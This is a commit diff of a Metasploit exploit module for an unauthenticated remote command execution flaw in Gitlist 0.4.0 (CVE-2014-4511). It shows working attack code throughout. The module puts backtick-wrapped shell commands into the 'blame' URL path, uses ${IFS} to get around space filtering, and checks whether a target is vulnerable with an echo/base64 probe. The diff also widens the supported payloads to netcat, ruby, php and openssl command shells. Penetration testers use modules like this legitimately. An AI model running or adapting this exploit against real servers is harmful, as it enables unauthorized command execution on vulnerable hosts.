@@ -12,35 +12,36 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'Gitlist Unauthenticated Command Execution' ,
15
+ 'Name' => 'Gitlist Unauthenticated Remote Command Execution' ,
16
16
'Description' => %q{
17
- This module exploits an unauthenticated remote command execution vulnerability
18
- in version 0.4.0 of Gitlist.
17
+ This module exploits an unauthenticated remote command execution vulnerability
18
+ in version 0.4.0 of Gitlist. The problem exists in the handling of an specially
19
+ crafted file name when trying to blame it.
19
20
} ,
20
21
'License' => MSF_LICENSE ,
21
22
'Privileged' => false ,
22
23
'Platform' => 'unix' ,
23
24
'Arch' => ARCH_CMD ,
24
25
'Author' =>
25
26
[
26
- '@dronesec ' , #discovery/poc
27
+ 'drone ' , #discovery/poc by @dronesec
27
28
'Brandon Perry <[email protected] >' #Metasploit module
28
29
] ,
29
30
'References' =>
30
31
[
31
32
[ 'CVE' , '2014-4511' ] ,
32
- [ 'URL ' , 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/ ' ] ,
33
- [ 'EDB ' , '33929 ' ]
33
+ [ 'EDB ' , '33929 ' ] ,
34
+ [ 'URL ' , 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/ ' ]
34
35
] ,
35
36
'Payload' =>
36
37
{
37
- 'Space' => 9999 , #arbitrary, length of GET request really
38
- 'BadChars' => "&\x20 " ,
38
+ 'Space' => 8192 , # max length of GET request really
39
+ 'BadChars' => "&\x20 " ,
39
40
'DisableNops' => true ,
40
41
'Compat' =>
41
42
{
42
43
'PayloadType' => 'cmd' ,
43
- 'RequiredCmd' => 'generic telnet python perl bash' ,
44
+ 'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl ' ,
44
45
}
45
46
} ,
46
47
'Targets' =>
@@ -58,43 +59,61 @@ def initialize(info = {})
58
59
end
59
60
60
61
def check
62
+ repo = get_repo
63
+
64
+ if repo . nil?
65
+ return Exploit ::CheckCode ::Unknown
66
+ end
67
+
61
68
chk = Rex ::Text . encode_base64 ( rand_text_alpha ( rand ( 32 ) +5 ) )
62
69
63
- res = send_command ( "echo${IFS}" + chk + "|base64${IFS}--decode" )
70
+ res = send_command ( repo , "echo${IFS}" + chk + "|base64${IFS}--decode" )
64
71
65
- if res && res . body . include? ( Rex ::Text . decode_base64 ( chk ) )
66
- return Exploit ::CheckCode ::Vulnerable
72
+ if res && res . body
73
+ if res . body . include? ( Rex ::Text . decode_base64 ( chk ) )
74
+ return Exploit ::CheckCode ::Vulnerable
75
+ elsif res . body . to_s =~ /sh.*not found/
76
+ return Exploit ::CheckCode ::Vulnerable
77
+ end
67
78
end
68
79
69
- return Exploit ::CheckCode ::Safe
80
+ Exploit ::CheckCode ::Safe
70
81
end
71
82
72
83
def exploit
73
- send_command ( payload . encoded )
84
+ repo = get_repo
85
+ if repo . nil?
86
+ fail_with ( Failure ::Unknown , "#{ peer } - Failed to retrieve the remote repository" )
87
+ end
88
+ send_command ( repo , payload . encoded )
74
89
end
75
90
76
- def send_command ( cmd )
91
+ def get_repo
77
92
res = send_request_cgi ( {
78
- 'uri' => normalize_uri ( target_uri . path )
93
+ 'uri' => normalize_uri ( target_uri . path , "/" )
79
94
} )
80
95
81
96
unless res
82
- fail_with ( "Server did not respond in an expected way" )
97
+ return nil
83
98
end
84
99
85
- first = /href="\/ gitlist\/ (.*)\/ "/ . match ( res . body )
100
+ first_repo = /href="\/ gitlist\/ (.*)\/ "/ . match ( res . body )
86
101
87
- unless first && first . length >= 2
88
- fail_with ( "We don't have a properly configured Gitlist installation" )
102
+ unless first_repo && first_repo . length >= 2
103
+ return nil
89
104
end
90
105
91
- first = first [ 1 ]
106
+ repo_name = first_repo [ 1 ]
92
107
108
+ repo_name
109
+ end
110
+
111
+ def send_command ( repo , cmd )
93
112
res = send_request_cgi ( {
94
- 'uri' => normalize_uri ( target_uri . path , first , 'blame' , 'master' , '""`' + cmd + '`' )
95
- } )
113
+ 'uri' => normalize_uri ( target_uri . path , repo , 'blame' , 'master' , '""`' + cmd + '`' )
114
+ } , 1 )
96
115
97
- return res
116
+ res
98
117
end
99
118
100
119
end
0 commit comments